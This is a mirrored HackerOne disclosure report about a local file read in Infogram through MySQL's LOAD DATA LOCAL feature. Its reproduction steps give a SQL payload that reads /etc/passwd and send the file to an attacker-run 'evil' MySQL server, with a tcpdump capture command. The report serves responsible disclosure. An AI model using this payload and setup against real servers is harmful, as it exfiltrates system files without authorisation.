Skip to content
Info disclosure Disclosed report Intermediate

LFI through the MySQL connection

muon4 Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 7 days
  • Disclosed after 21 days

Hello team!

I've found a way to read Infogram's server local files through the MySQL connection. The problem is that you're using the LOAD DATA LOCAL feature with your MySQL client. This how an attacker can easily send server's local files to her/his database.

I've successfully readed the /etc/passwd and /etc/hosts files from your server.

Steps to reproduce

  • Login
  • Make a new infographic or navigate to the existing one
  • Now add new MySQL connection under data section
  • Set the value of the SQL SELECT statement to the following:
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE asd.asd
FIELDS TERMINATED BY "\n"
  • Fill other necessary information (IP address, port etc..)
  • Now setup/install the "evil" MySQL server with the database/table called asd and other needed information. Point your MySQL connection from infogram app to this server.
  • Listen network traffic of the "evil" MySQL server. If you are using tcpdump you can do wireshark readable file with this command tcpdump -s 0 port 3306 -i eth0 -w infogramsteal.pcap
  • Now click Create in the infogram app
  • Once you get an error message at infogram app stop the tcpdump and open it with wireshark

In wireshark/pcap you can see some main points. First is the login request where you can see that LOAD DATA LOCAL is set to the value 1 which is basicly same than true:

LoadLocalData.png
LoadLocalData.png From the original on HackerOne

Also, you can see the Request Command Unknown which basicly contains the value of the file /etc/passwd:

passwd.png
passwd.png From the original on HackerOne

Disable the LOAD DATA LOCAL feature if possible.

If you need any information please let me know.

Cheers!

Impact

Reading local files from the server

The original report as published on HackerOne, by muon4. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity info disclosure bug in infogram.com. HackerOne made it public on 12 November 2019.

About Info disclosure

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by muon4

View all

10 more disclosed reports, best first.

More from Infogram

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.